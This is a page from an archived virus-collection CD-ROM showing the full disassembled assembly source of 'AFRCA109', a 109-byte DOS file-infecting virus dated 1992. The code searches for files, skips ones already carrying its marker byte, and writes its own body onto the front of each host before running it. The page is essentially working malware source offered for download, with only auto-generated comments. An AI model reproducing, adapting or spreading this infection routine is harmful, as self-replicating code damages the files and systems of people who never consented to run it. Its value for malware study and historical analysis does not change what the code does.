home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
ASM-A.ZIP
/
AFRCA109.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-10-11
|
2KB
|
100 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ AFRCA109 ██
;██ ██
;██ Created: 16-Sep-92 ██
;██ Passes: 5 Analysis Options on: AW ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_2e equ 4F43h
data_3e equ 0FE00h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
afrca109 proc far
start:
mov si,100h
push si
mov ax,cs
add ah,10h
mov es,ax
xor di,di ; Zero register
mov cx,6Dh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,data_3e
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov dx,167h
mov ah,4Eh ; 'N'
jmp short loc_2
loc_1:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov ah,4Fh ; 'O'
loc_2:
push cs
pop ds
int 21h ; DOS Services ah=function 4Fh
; find next filename match
mov cx,0FE1Eh
jc loc_3 ; Jump if carry Set
mov dx,cx
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
xchg ax,bx
push es
pop ds
mov dx,di
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
add ax,6Dh
cmp byte ptr [di],0BEh
je loc_1 ; Jump if equal
push ax
xor cx,cx ; Zero register
mov ax,4200h
cwd ; Word to double word
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
pop cx
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jmp short loc_1
loc_3:
push cs
pop es
mov bl,0FCh
mov word ptr [bx],0AAACh
mov word ptr [bx+2],0FCE2h
pop di
push bx
retn
sub ch,ds:data_2e
dec bp
add bl,al
afrca109 endp
seg_a ends
end start